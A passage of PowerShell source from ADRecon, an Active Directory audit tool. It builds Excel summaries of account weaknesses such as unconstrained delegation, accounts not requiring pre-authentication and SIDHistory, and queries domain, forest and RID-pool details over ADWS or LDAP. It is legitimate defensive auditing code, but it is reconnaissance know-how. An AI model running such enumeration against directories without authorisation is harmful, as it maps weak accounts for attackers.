{
# when PivotItem is not found
}
}
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlsortorder-enumeration-excel
$worksheet.PivotTables($PivotTableName).PivotFields("Group Name").AutoSort([Microsoft.Office.Interop.Excel.XlSortOrder]::xlDescending,"Count (Not-Recursive)")
$worksheet.Cells.Item(3,1).Interior.ColorIndex = 5
$worksheet.Cells.Item(3,1).font.ColorIndex = 2
$excel.ScreenUpdating = $true
Get-ADRExcelChart -ChartType "xlColumnClustered" -ChartLayout 10 -ChartTitle "Privileged Groups in AD" -RangetoCover "D2:P16" -StartRow "A3" -StartColumn "B3"
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(1,4) , "" , "'Group Members'!A1", "", "Raw Data") | Out-Null
$excel.Windows.Item(1).Displaygridlines = $false
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
# Computer Stats
$ADFileName = -join($ReportPath,'\','Computers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Computer Stats"
Remove-Variable ADFileName
$ObjAttributes = New-Object System.Collections.Specialized.OrderedDictionary
$ObjAttributes.Add("Delegation Typ",'"Unconstrained"')
$ObjAttributes.Add("Delegation Type",'"Constrained"')
$ObjAttributes.Add("SIDHistory",'"*"')
$ObjAttributes.Add("Dormant",'"TRUE"')
$ObjAttributes.Add("Password Age (> ",'"TRUE"')
$ObjAttributes.Add("ms-ds-CreatorSid",'"*"')
Get-ADRExcelAttributeStats -SrcSheetName "Computers" -Title1 "Computer Accounts in AD" -Title2 "Status of Computer Accounts" -ObjAttributes $ObjAttributes
Remove-Variable ObjAttributes
Get-ADRExcelChart -ChartType "xlPie" -ChartLayout 3 -ChartTitle "Computer Accounts in AD" -RangetoCover "A11:D23" -ChartData $workbook.Worksheets.Item(1).Range("A3:A4,B3:B4")
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(10,1) , "" , "Computers!A1", "", "Raw Data") | Out-Null
Get-ADRExcelChart -ChartType "xlBarClustered" -ChartLayout 1 -ChartTitle "Status of Computer Accounts" -RangetoCover "F11:L23" -ChartData $workbook.Worksheets.Item(1).Range("F2:F8,G2:G8")
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(10,6) , "" , "Computers!A1", "", "Raw Data") | Out-Null
$workbook.Worksheets.Item(1).UsedRange.EntireColumn.AutoFit() | Out-Null
$excel.Windows.Item(1).Displaygridlines = $false
}
# User Stats
$ADFileName = -join($ReportPath,'\','Users.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "User Stats"
Remove-Variable ADFileName
$ObjAttributes = New-Object System.Collections.Specialized.OrderedDictionary
$ObjAttributes.Add("Must Change Password at Logon",'"TRUE"')
$ObjAttributes.Add("Cannot Change Password",'"TRUE"')
$ObjAttributes.Add("Password Never Expires",'"TRUE"')
$ObjAttributes.Add("Reversible Password Encryption",'"TRUE"')
$ObjAttributes.Add("Smartcard Logon Required",'"TRUE"')
$ObjAttributes.Add("Delegation Permitted",'"TRUE"')
$ObjAttributes.Add("Kerberos DES Only",'"TRUE"')
$ObjAttributes.Add("Kerberos RC4",'"TRUE"')
$ObjAttributes.Add("Does Not Require Pre Auth",'"TRUE"')
$ObjAttributes.Add("Password Age (> ",'"TRUE"')
$ObjAttributes.Add("Account Locked Out",'"TRUE"')
$ObjAttributes.Add("Never Logged in",'"TRUE"')
$ObjAttributes.Add("Dormant",'"TRUE"')
$ObjAttributes.Add("Password Not Required",'"TRUE"')
$ObjAttributes.Add("Delegation Typ",'"Unconstrained"')
$ObjAttributes.Add("SIDHistory",'"*"')
Get-ADRExcelAttributeStats -SrcSheetName "Users" -Title1 "User Accounts in AD" -Title2 "Status of User Accounts" -ObjAttributes $ObjAttributes
Remove-Variable ObjAttributes
Get-ADRExcelChart -ChartType "xlPie" -ChartLayout 3 -ChartTitle "User Accounts in AD" -RangetoCover "A21:D33" -ChartData $workbook.Worksheets.Item(1).Range("A3:A4,B3:B4")
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(20,1) , "" , "Users!A1", "", "Raw Data") | Out-Null
Get-ADRExcelChart -ChartType "xlBarClustered" -ChartLayout 1 -ChartTitle "Status of User Accounts" -RangetoCover "F21:L43" -ChartData $workbook.Worksheets.Item(1).Range("F2:F18,G2:G18")
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(20,6) , "" , "Users!A1", "", "Raw Data") | Out-Null
$workbook.Worksheets.Item(1).UsedRange.EntireColumn.AutoFit() | Out-Null
$excel.Windows.Item(1).Displaygridlines = $false
}
# Create Table of Contents
Get-ADRExcelWorkbook -Name "Table of Contents"
$worksheet = $workbook.Worksheets.Item(1)
$excel.ScreenUpdating = $false
# Image format and properties
# $path = "C:\SOS_Logo.jpg"
# $base64sos = [convert]::ToBase64String((Get-Content $path -Encoding byte))
$base64sos = "/9j/4AAQSkZJRgABAgEASABIAAD/7QAsUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEAAQBIAAAAAQAB/+Fik2h0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8APD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNC4yLjItYzA2MyA1My4zNTE3MzUsIDIwMDgvMDcvMjItMTg6MTE6MTIgICAgICAgICI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAgICAgIDxkYzpmb3JtYXQ+aW1hZ2UvanBlZzwvZGM6Zm9ybWF0PgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIgogICAgICAgICAgICB4bWxuczp4bXBHSW1nPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvZy9pbWcvIj4KICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+MjAxMy0xMC0wM1QxMToyNjoyNSsxMDowMDwveG1wOk1ldGFkYXRhRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTMtMTAtMDNUMDE6MjY6MzBaPC94bXA6TW9kaWZ5RGF0ZT4KICAgICAgICAgPHhtcDpDcmVhdGVEYXRlPjIwMTMtMTAtMDNUMTE6MjY6MjUrMTA6MDA8L3htcDpDcmVhdGVEYXRlPgogICAgICAgICA8eG1wOkNyZWF0b3JUb29sPkFkb2JlIElsbHVzdHJhdG9yIENTNDwveG1wOkNyZWF0b3JUb29sPgogICAgICAgICA8eG1wOlRodW1ibmFpbHM+CiAgICAgICAgICAgIDxyZGY6QWx0PgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHhtcEdJbWc6d2lkdGg+MjU2PC94bXBHSW1nOndpZHRoPgogICAgICAgICAgICAgICAgICA8eG1wR0ltZzpoZWlnaHQ+OTY8L3htcEdJbWc6aGVpZ2h0PgogICAgICAgICAgICAgICAgICA8eG1wR0ltZzpmb3JtYXQ+SlBFRzwveG1wR0ltZzpmb3JtYXQ+CiAgICAgICAgICAgICAgICAgIDx4bXBHSW1nOmltYWdlPi85ai80QUFRU2taSlJnQUJBZ0VCTEFFc0FBRC83UUFzVUdodmRHOXphRzl3SURNdU1BQTRRa2xOQSswQUFBQUFBQkFCTEFBQUFBRUEmI3hBO0FRRXNBQUFBQVFBQi8rNEFEa0ZrYjJKbEFHVEFBQUFBQWYvYkFJUUFCZ1FFQkFVRUJnVUZCZ2tHQlFZSkN3Z0dCZ2dMREFvS0N3b0smI3hBO0RCQU1EQXdNREF3UURBNFBFQThPREJNVEZCUVRFeHdiR3hzY0h4OGZIeDhmSHg4Zkh3RUhCd2NOREEwWUVCQVlHaFVSRlJvZkh4OGYmI3hBO0h4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zi84QUFFUWdBWUFFQUF3RVImI3hBO0FBSVJBUU1SQWYvRUFhSUFBQUFIQVFFQkFRRUFBQUFBQUFBQUFBUUZBd0lHQVFBSENBa0tDd0VBQWdJREFRRUJBUUVBQUFBQUFBQUEmI3hBO0FRQUNBd1FGQmdjSUNRb0xFQUFDQVFNREFnUUNCZ2NEQkFJR0FuTUJBZ01SQkFBRklSSXhRVkVHRTJFaWNZRVVNcEdoQnhXeFFpUEImI3hBO1V0SGhNeFppOENSeWd2RWxRelJUa3FLeVkzUENOVVFuazZPek5oZFVaSFREMHVJSUpvTUpDaGdaaEpSRlJxUzBWdE5WS0JyeTQvUEUmI3hBOzFPVDBaWFdGbGFXMXhkWGw5V1oyaHBhbXRzYlc1dlkzUjFkbmQ0ZVhwN2ZIMStmM09FaFlhSGlJbUtpNHlOam8rQ2s1U1ZscGVZbVomI3hBO3FibkoyZW41S2pwS1dtcDZpcHFxdXNyYTZ2b1JBQUlDQVFJREJRVUVCUVlFQ0FNRGJRRUFBaEVEQkNFU01VRUZVUk5oSWdaeGdaRXkmI3hBO29iSHdGTUhSNFNOQ0ZWSmljdkV6SkRSRGdoYVNVeVdpWTdMQ0IzUFNOZUpFZ3hkVWt3Z0pDaGdaSmpaRkdpZGtkRlUzOHFPend5Z3AmI3hBOzArUHpoSlNrdE1UVTVQUmxkWVdWcGJYRjFlWDFSbFptZG9hV3ByYkcxdWIyUjFkbmQ0ZVhwN2ZIMStmM09FaFlhSGlJbUtpNHlOam8mI3hBOytEbEpXV2w1aVptcHVjblo2ZmtxT2twYWFucUttcXE2eXRycSt2L2FBQXdEQVFBQ0VRTVJBRDhBOVU0cTdGVXQ4eUN5ZlJMcUMrWGwmI3hBO1ozU3JhejlQaFM1WVFsOS81ZWZMNk1qT0hFQ085dHdacFlweG5IbkVnL0o4b1hWMzVrOHY2bmM2Y2wvZFdzOWpLOERDR2FTT2hqYmomI3hBO1VjU052aEZNNS9lSjdpK3lZOGVEVVl4TXhqSVNGN2dIbTk5L0pIemJkYTc1WGt0Nys0ZTUxSFRwVEhKTkt4ZVI0cFBpalptSkpQN1MmI3hBOzcrR2JYUlpUS0pCNWg4NzlxT3o0NmZVQ1VBSXdtT1E1V09mNkM5RXpOZWFkaXJzVmRpcnNWZGlyc1ZkaXJzVmRpcnNWZGlyc1ZkaXImI3hBO3NWZGlyc1ZkaXJzVmRpcnNWZGlyc1ZkaXJzVmRpcnNWZGlyc1ZRT3U2WU5WMFRVTk1MY0JmVzB0dnpxUVY5VkNuSUViaWxhN1lxK1kmI3hBOy9QNWZVNGRGODJGQXNtdDJnWFVWVUNpYWhaL3VMcE50dnRybW4xdVBobmZlK2wreU9zOFRUbkdlZU0vWWR4K2xNZnlROHhmb256dkQmI3hBO2F5TlMyMVZEYXVPM3FING9qL3dRNC9Ua05KazRjZzg5bkk5cU5INDJrTWg5V1AxZkRyK3Y0UHBuTjIrV094VjJLdXhWMkt1eFYyS3UmI3hBO3hWMkt1eFYyS3V4VjJLdXhWMkt1eFYyS3V4VjJLdXhWMkt1eFYyS3V4VjJLdXhWMkt1eFYyS3V4Vjg0YXRwdk81L01YeWF5VW4wYSsmI3hBOy93QVQ2U1ArWGE3Vld1bFgvSlFTQS9QTVRXNCtLRjl6MEhzenJQQjFjUWZwbjZUK2o3WG5GdGNUVzF4RmNRTVVtaGRaSW5IVU1ocXAmI3hBOytnak5NK3FUZ0pSTVR5TDdFOHQ2MURyZWcyR3JRMENYa0tTbFIreTVIeHIvQUxGcWpPZ3haT09JTDRycmRNY0dhV00vd212MUpsbGomI3hBO2l1SkFCSk5BT3B4VkFycm1rU1QvQUZlRzZqdUp3YU5GQWZXWmEvemlQa1ZIdTJWZU5DNkJ2M2J1UWRMa0E0akVnZWUzeXZtdnM5WDAmI3hBO3ErbnVMZXl2SWJtZTBLaTZqaGtXUm9pOWVJY0tUeEo0blk1YTQ2M1d0YTB2Uk5MdU5WMVM0VzFzTFJPYzg3M
$bytes = [System.Convert]::FromBase64String($base64sos)
Remove-Variable base64sos
$CompanyLogo = -join($ReportPath,'\','SOS_Logo.jpg')
$p = New-Object IO.MemoryStream($bytes, 0, $bytes.length)
$p.Write($bytes, 0, $bytes.length)
Add-Type -AssemblyName System.Drawing
$picture = [System.Drawing.Image]::FromStream($p, $true)
$picture.Save($CompanyLogo)
Remove-Variable bytes
Remove-Variable p
Remove-Variable picture
$LinkToFile = $false
$SaveWithDocument = $true
$Left = 0
$Top = 0
$Width = 135
$Height = 50
# Add image to the Sheet
$worksheet.Shapes.AddPicture($CompanyLogo, $LinkToFile, $SaveWithDocument, $Left, $Top, $Width, $Height) | Out-Null
Remove-Variable LinkToFile
Remove-Variable SaveWithDocument
Remove-Variable Left
Remove-Variable Top
Remove-Variable Width
Remove-Variable Height
If (Test-Path -Path $CompanyLogo)
{
Remove-Item $CompanyLogo
}
Remove-Variable CompanyLogo
$row = 5
$column = 1
$worksheet.Cells.Item($row,$column)= "Table of Contents"
$worksheet.Cells.Item($row,$column).Style = "Heading 2"
$row++
For($i=2; $i -le $workbook.Worksheets.Count; $i++)
{
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item($row,$column) , "" , "'$($workbook.Worksheets.Item($i).Name)'!A1", "", $workbook.Worksheets.Item($i).Name) | Out-Null
$row++
}
$row++
$worksheet.Cells.Item($row, 1) = "© Sense of Security 2018"
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item($row,2) , "https://www.senseofsecurity.com.au", "" , "", "www.senseofsecurity.com.au") | Out-Null
$worksheet.UsedRange.EntireColumn.AutoFit() | Out-Null
$excel.Windows.Item(1).Displaygridlines = $false
$excel.ScreenUpdating = $true
$ADStatFileName = -join($ExcelPath,'\',$DomainName,'ADRecon-Report.xlsx')
Try
{
# Disable prompt if file exists
$excel.DisplayAlerts = $False
$workbook.SaveAs($ADStatFileName)
Write-Output "[+] Excelsheet Saved to: $ADStatFileName"
}
Catch
{
Write-Error "[EXCEPTION] $($_.Exception.Message)"
}
$excel.Quit()
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet -Final $true
Remove-Variable worksheet
Get-ADRExcelComObjRelease -ComObjtoRelease $workbook -Final $true
Remove-Variable -Name workbook -Scope Global
Get-ADRExcelComObjRelease -ComObjtoRelease $excel -Final $true
Remove-Variable -Name excel -Scope Global
}
}
Function Get-ADRDomain
{
<#
.SYNOPSIS
Returns information of the current (or specified) domain.
.DESCRIPTION
Returns information of the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER objDomainRootDSE
[DirectoryServices.DirectoryEntry]
RootDSE Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomainRootDSE,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADDomain = Get-ADDomain
}
Catch
{
Write-Warning "[Get-ADRDomain] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADDomain)
{
$DomainObj = @()
# Values taken from https://technet.microsoft.com/en-us/library/hh852281(v=wps.630).aspx
$FLAD = @{
0 = "Windows2000";
1 = "Windows2003/Interim";
2 = "Windows2003";
3 = "Windows2008";
4 = "Windows2008R2";
5 = "Windows2012";
6 = "Windows2012R2";
7 = "Windows2016"
}
$DomainMode = $FLAD[[convert]::ToInt32($ADDomain.DomainMode)] + "Domain"
Remove-Variable FLAD
If (-Not $DomainMode)
{
$DomainMode = $ADDomain.DomainMode
}
$ObjValues = @("Name", $ADDomain.DNSRoot, "NetBIOS", $ADDomain.NetBIOSName, "Functional Level", $DomainMode, "DomainSID", $ADDomain.DomainSID.Value)
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$DomainObj += $Obj
}
Remove-Variable DomainMode
For($i=0; $i -lt $ADDomain.ReplicaDirectoryServers.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Domain Controller"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADDomain.ReplicaDirectoryServers[$i]
$DomainObj += $Obj
}
For($i=0; $i -lt $ADDomain.ReadOnlyReplicaDirectoryServers.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Read Only Domain Controller"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADDomain.ReadOnlyReplicaDirectoryServers[$i]
$DomainObj += $Obj
}
Try
{
$ADForest = Get-ADForest $ADDomain.Forest
}
Catch
{
Write-Verbose "[Get-ADRDomain] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If (-Not $ADForest)
{
Try
{
$ADForest = Get-ADForest -Server $DomainController
}
Catch
{
Write-Warning "[Get-ADRDomain] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
If ($ADForest)
{
$DomainCreation = Get-ADObject -SearchBase "$($ADForest.PartitionsContainer)" -LDAPFilter "(&(objectClass=crossRef)(systemFlags=3)(Name=$($ADDomain.Name)))" -Properties whenCreated
If (-Not $DomainCreation)
{
$DomainCreation = Get-ADObject -SearchBase "$($ADForest.PartitionsContainer)" -LDAPFilter "(&(objectClass=crossRef)(systemFlags=3)(Name=$($ADDomain.NetBIOSName)))" -Properties whenCreated
}
Remove-Variable ADForest
}
# Get RIDAvailablePool
Try
{
$RIDManager = Get-ADObject -Identity "CN=RID Manager$,CN=System,$($ADDomain.DistinguishedName)" -Properties rIDAvailablePool
$RIDproperty = $RIDManager.rIDAvailablePool
[int32] $totalSIDS = $($RIDproperty) / ([math]::Pow(2,32))
[int64] $temp64val = $totalSIDS * ([math]::Pow(2,32))
$RIDsIssued = [int32]($($RIDproperty) - $temp64val)
$RIDsRemaining = $totalSIDS - $RIDsIssued
Remove-Variable RIDManager
Remove-Variable RIDproperty
Remove-Variable totalSIDS
Remove-Variable temp64val
}
Catch
{
Write-Warning "[Get-ADRDomain] Error accessing CN=RID Manager$,CN=System,$($ADDomain.DistinguishedName)"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($DomainCreation)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Creation Date"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $DomainCreation.whenCreated
$DomainObj += $Obj
Remove-Variable DomainCreation
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "ms-DS-MachineAccountQuota"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $((Get-ADObject -Identity ($ADDomain.DistinguishedName) -Properties ms-DS-MachineAccountQuota).'ms-DS-MachineAccountQuota')
$DomainObj += $Obj
If ($RIDsIssued)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "RIDs Issued"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $RIDsIssued
$DomainObj += $Obj
Remove-Variable RIDsIssued
}
If ($RIDsRemaining)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "RIDs Remaining"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $RIDsRemaining
$DomainObj += $Obj
Remove-Variable RIDsRemaining
}
}
}
If ($Protocol -eq 'LDAP')
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$DomainFQDN = Get-DNtoFQDN($objDomain.distinguishedName)
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$($DomainFQDN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
Try
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
Catch
{
Write-Warning "[Get-ADRDomain] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Remove-Variable DomainContext
# Get RIDAvailablePool
Try
{
$SearchPath = "CN=RID Manager$,CN=System"
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$SearchPath,$($objDomain.distinguishedName)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
$objSearcherPath.PropertiesToLoad.AddRange(("ridavailablepool"))
$objSearcherResult = $objSearcherPath.FindAll()
$RIDproperty = $objSearcherResult.Properties.ridavailablepool
[int32] $totalSIDS = $($RIDproperty) / ([math]::Pow(2,32))
[int64] $temp64val = $totalSIDS * ([math]::Pow(2,32))
$RIDsIssued = [int32]($($RIDproperty) - $temp64val)
$RIDsRemaining = $totalSIDS - $RIDsIssued
Remove-Variable SearchPath
$objSearchPath.Dispose()
$objSearcherPath.Dispose()
$objSearcherResult.Dispose()
Remove-Variable RIDproperty
Remove-Variable totalSIDS
Remove-Variable temp64val
}
Catch
{
Write-Warning "[Get-ADRDomain] Error accessing CN=RID Manager$,CN=System,$($SearchPath),$($objDomain.distinguishedName)"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
Try
{
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Forest",$($ADDomain.Forest),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
Catch
{
Write-Warning "[Get-ADRDomain] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($ForestContext)
{
Remove-Variable ForestContext
}
If ($ADForest)
{
$GlobalCatalog = $ADForest.FindGlobalCatalog()
}
If ($GlobalCatalog)
{
$DN = "GC://$($GlobalCatalog.IPAddress)/$($objDomain.distinguishedname)"
Try
{
$ADObject = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList ($($DN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($ADObject.objectSid[0], 0)
$ADObject.Dispose()
}
Catch
{
Write-Warning "[Get-ADRDomain] Error retrieving Domain SID using the GlobalCatalog $($GlobalCatalog.IPAddress). Using SID from the ObjDomain."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($objDomain.objectSid[0], 0)
}
}
Else
{
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($objDomain.objectSid[0], 0)
}
}
Else
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
Try
{
$GlobalCatalog = $ADForest.FindGlobalCatalog()
$DN = "GC://$($GlobalCatalog)/$($objDomain.distinguishedname)"
$ADObject = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList ($DN)
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($ADObject.objectSid[0], 0)
$ADObject.dispose()
}
Catch
{
Write-Warning "[Get-ADRDomain] Error retrieving Domain SID using the GlobalCatalog $($GlobalCatalog.IPAddress). Using SID from the ObjDomain."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
$ADDomainSID = New-Object System.Security.Principal.SecurityIdentifier($objDomain.objectSid[0], 0)
}
# Get RIDAvailablePool
Try
{
$RIDManager = ([ADSI]"LDAP://CN=RID Manager$,CN=System,$($objDomain.distinguishedName)")
$RIDproperty = $ObjDomain.ConvertLargeIntegerToInt64($RIDManager.Properties.rIDAvailablePool.value)
[int32] $totalSIDS = $($RIDproperty) / ([math]::Pow(2,32))
[int64] $temp64val = $totalSIDS * ([math]::Pow(2,32))
$RIDsIssued = [int32]($($RIDproperty) - $temp64val)
$RIDsRemaining = $totalSIDS - $RIDsIssued
Remove-Variable RIDManager
Remove-Variable RIDproperty
Remove-Variable totalSIDS
Remove-Variable temp64val
}
Catch
{
Write-Warning "[Get-ADRDomain] Error accessing CN=RID Manager$,CN=System,$($SearchPath),$($objDomain.distinguishedName)"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
If ($ADDomain)
{
$DomainObj = @()
# Values taken from https://technet.microsoft.com/en-us/library/hh852281(v=wps.630).aspx
$FLAD = @{
0 = "Windows2000";
1 = "Windows2003/Interim";
2 = "Windows2003";
3 = "Windows2008";
4 = "Windows2008R2";
5 = "Windows2012";
6 = "Windows2012R2";
7 = "Windows2016"
}
$DomainMode = $FLAD[[convert]::ToInt32($objDomainRootDSE.domainFunctionality,10)] + "Domain"
Remove-Variable FLAD
$ObjValues = @("Name", $ADDomain.Name, "NetBIOS", $objDomain.dc.value, "Functional Level", $DomainMode, "DomainSID", $ADDomainSID.Value)
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$DomainObj += $Obj
}
Remove-Variable DomainMode
For($i=0; $i -lt $ADDomain.DomainControllers.Count; $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Domain Controller"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ADDomain.DomainControllers[$i]
$DomainObj += $Obj
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "Creation Date"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $objDomain.whencreated.value
$DomainObj += $Obj
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "ms-DS-MachineAccountQuota"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $objDomain.'ms-DS-MachineAccountQuota'.value
$DomainObj += $Obj
If ($RIDsIssued)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "RIDs Issued"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $RIDsIssued
$DomainObj += $Obj
Remove-Variable RIDsIssued
}
If ($RIDsRemaining)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value "RIDs Remaining"
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $RIDsRemaining
$DomainObj += $Obj
Remove-Variable RIDsRemaining
}
}
}
If ($DomainObj)
{
Return $DomainObj
}
Else
{
Return $null
}
}
Function Get-ADRForest
{
<#
.SYNOPSIS
Returns information of the current (or specified) forest.
.DESCRIPTION
Returns information of the current (or specified) forest.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER objDomainRootDSE
[DirectoryServices.DirectoryEntry]
RootDSE Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomainRootDSE,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADDomain = Get-ADDomain
}
Catch
{
Write-Warning "[Get-ADRForest] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Try
{
$ADForest = Get-ADForest $ADDomain.Forest
}
Catch
{
Write-Verbose "[Get-ADRForest] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
Remove-Variable ADDomain
If (-Not $ADForest)
{
Try
{
$ADForest = Get-ADForest -Server $DomainController
}
Catch
{
Write-Warning "[Get-ADRForest] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
}
If ($ADForest)
{
